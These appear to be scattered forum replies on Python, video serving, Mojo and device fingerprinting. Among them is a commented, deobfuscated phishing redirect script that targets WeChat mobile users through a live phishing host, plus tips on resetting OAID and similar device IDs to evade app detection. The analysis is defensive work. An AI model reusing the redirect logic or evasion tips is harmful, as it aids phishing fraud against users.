课程是不是有些老了，print 还是以关键字的形式出现的
@jiansongy

@julyclyde 哦这点是我说错了，tempfile 的清理是 context manager 结束或者关闭临时文件对象后会删除，这样免除了手动删除一次的问题

我很好奇为什么你认为让 gc 来“帮”你清除文件是合理的，并且还预想程序崩溃时也能自动清理，这在任何语言中都是不可靠的操作，对于文件操作我们应该手动去处理。
一般来说，python 中的临时文件都是使用 tempfile 模块来管理，tempfile 会自动在程序退出的时候删除文件

哈哈哈，如果逆向比较厉害的话，也可以考虑搞搞国内的站点

觉得小红书简单可能是量不大且用的自动化？小红书的协议爬取目前是 t1 级别麻烦+法律风险高的

qtscrcpy 的 issue 里面看到你发的了

综上大概率是 oaid ，oaid 大部分是由移动联盟的闭源 sdk 生成的，小部分是通过一些开源的 sdk 生成，一般市面上的 xposed 隐私保护插件是没有修改 oaid 的功能的，oaid 的 hook 点也不好找，所以 op 之前 hook 安卓 id 、ssid 这些内容肯定是无效的

常年搞反检测，给你提供几个思路，我个人比较倾向于是 oaid 检测:
0.低可能性: ssaid 安卓设备标识符，刷 rom 后可重置; imei ，更换 sim 卡可重置;但是这俩在安卓 10 以上不给电话权限无法获取，可能性较小
1.中可能性: 国外手机，具有谷歌框架的 gaid （谷歌框架的广告识别 id ）这个在 google 应用中可重置，字节系 app 在关闭了这个功能后依旧可以获取到 gaid ，不知道什么原理
2.高可能性: 国产手机含有移动安全联盟推出的 oaid ，精准地解决了 Android 10 以上设备无法获取标识符的问题。可以重置也可以关闭，miui 中一般被称作虚拟身份 id （可以直接在设置中搜索），oppo 系手机叫做设备标识。

哦对了，oaid 建议重置而不是关闭，因为一般国产的 app 会把 oaid 作为最高优先级的设备标识，关闭后 app 会另寻其他的设备标识

你和我当时犯的错误一样，就是把视频通过后端处理然后返回给前端，这个对服务的影响其实蛮大的。楼上的几个老哥也说复杂了，实际上视频无论是 mp4 还是 flv ，套一层 nginx ，把静态链接丢给前端就可以流式播放了，不需要手动处理。另外就是，视频这种的大静态文件最好不要直接丢在服务器上

这个不算麻烦，当年对接微信支付的时候简直想一刀捅死张小龙

我觉得这语言最搞笑的是宣称比 python 快万倍。官网的 benchmark ，用了各种田忌赛马的操作，最后比 python 快了 4100 倍。但是我直接用 python+numpy 实现官网的用例，结果是快 20000 倍，那我为什么要用你呢？另外宣称的完全兼容 cpython 更是让我大跌眼镜，所谓的完全兼容居然是在 mojo 里面放了个 cpython 解释器，然后用 cpython 解释器运行 python 代码，那我在里面再放个 gcc/g++岂不是完美兼容 c/c++了

@XueXianqi 是不是觉得很离谱？你试一下 pycharm 的远程功能就知道了，pycharm 的远程功能就是这样设计的，服务端是一个不带界面的完整 ide

“JetBrains 远程开发将通过 SSH 连接到现有服务器。IDE 作为后端服务安装在远程机器上，将在其中加载项目而不显示用户界面。”

api 没有规定格式？

这个链接返回的是第一层加密 js ，逆向后按照下方代码请求后，会得到第二层加密 js ，最后跳转到钓鱼页面


以下是反混淆内容

```javascript
// 注意：以下内容需要在移动端微信浏览器中打开，node 端无法测试
// 如需要在 pc 端浏览器测试，请将 ua 改为微信内置浏览器 ua
// 例：Mozilla/5.0 (Linux; Android 13; PHB110 Build/TP1A.220905.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5235 MMWEBSDK/20230701 MMWEBID/8568 MicroMessenger/8.0.40.2420(0x28002837) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64

/**
* 获取指定 url 参数
*/
function getParam(queryStr = "", key = null) {
var pattern = new RegExp("(^|&)" + key + "=([^&]*)(&|$)", "i"),
groups = queryStr.substr(1).match(pattern);
// 有对应的 url 参数返回编码后的 url 参数，没有则返回空
return (groups != null) ? unescape(groups[2]) : ""
}

/**
* 环境检测，此处逻辑应当是为了防止在 pc 端打开，仅检测手机端，用于跳转钓鱼网站
*/
function envCheck(ciValue) {
// 如果没有 ci 参数，跳转到百度
var baiduUrl = "https://www.baidu.com"
if (!ciValue) {
location.replace();
return;
}
var platforms = { "win": false, "mac": false, "xll": false }
// 此处为环境检测，node 环境没有 navigator 对象，测试时可以将下属 8 行代码注释掉
var currentPlatform = navigator.platform;
platforms.win = currentPlatform.indexOf("Win") == 0;
platforms.mac = currentPlatform.indexOf("Mac") == 0;
platforms.x11 = currentPlatform == "X11" || currentPlatform.indexOf("Linux") == 0;
// 如果是 win 、mac 、x11 环境，跳转到百度
if (platforms.win || platforms.mac || platforms.xll) {
location.replace(baiduUrl);
return;
}
}

/**
* 发送钓鱼请求，此处用了 xhr 请求，node 无法请求，实际测试时请自行替换
*/
function main() {
// 此处原内容为 window.location.search ，为 node 环境测试方便，使用楼主提供的 url
// var queryStr = window.location.search;
var queryStr = "?ci=j63sohnl&s://www.qunar.com/kong/pbray?ex_track=auto_5a3b7302";
var ciValue = getParam(queryStr, "ci")
// envCheck(ciValue); // 在桌面端平台这行可以省略，因为会跳转到百度
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
xhr.readyState == 4 && xhr.status == 200 && window.location.replace(xhr.responseText);
};
xhr.open("POST", "https://hj.ffbon.com/blii.html", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// var _0x1d1a3b = window.localStorage.getItem("xxio" + ciValue);
// _0x1d1a3b == null ? (window.localStorage.setItem("xxio" + ciValue, "gsdfsds"), _0x1d1a3b = 0) : _0x1d1a3b = 1;
xhr.send("vi=" + ciValue + "&nu=" + 1);
}

//执行入口
main()
```

@justNoBody 他用的所有的域名都有备案，应该是电报上面黑产卖的那种

原代码会检测目标平台，如果是 pc 端则跳转百度，如果是移动端，则通过阿里云的白域名 ffbon.com 跳转两次，然后再跳转到到移动云，通过移动云跳转到钓鱼 app 下载网站，所有的内容都是动态生成，但是伪装成了静态页。我猜测这种方式应该是为了过微信和国家防火墙的反诈检测，搞得还挺麻烦🤔待我整理一下放出反混淆后的内容

@zhyl 你这手解的怎么和我用工具反混淆出来的一样呢，而且错的地方也一样，抓个包能很明显发现这个 url 并没有被请求到，对 mo.ffbon.com/zzzz 进行重写替换上述代码，也无法实现跳转效果，这种情况很明显是反混淆工具在环境检测的时候走向了错误的分支

@zhyl 哥们是直接用解混淆工具解的吧，这个解出来是错的

@mritd 纯纯 sb 行为，平台做的又丑，还又当又立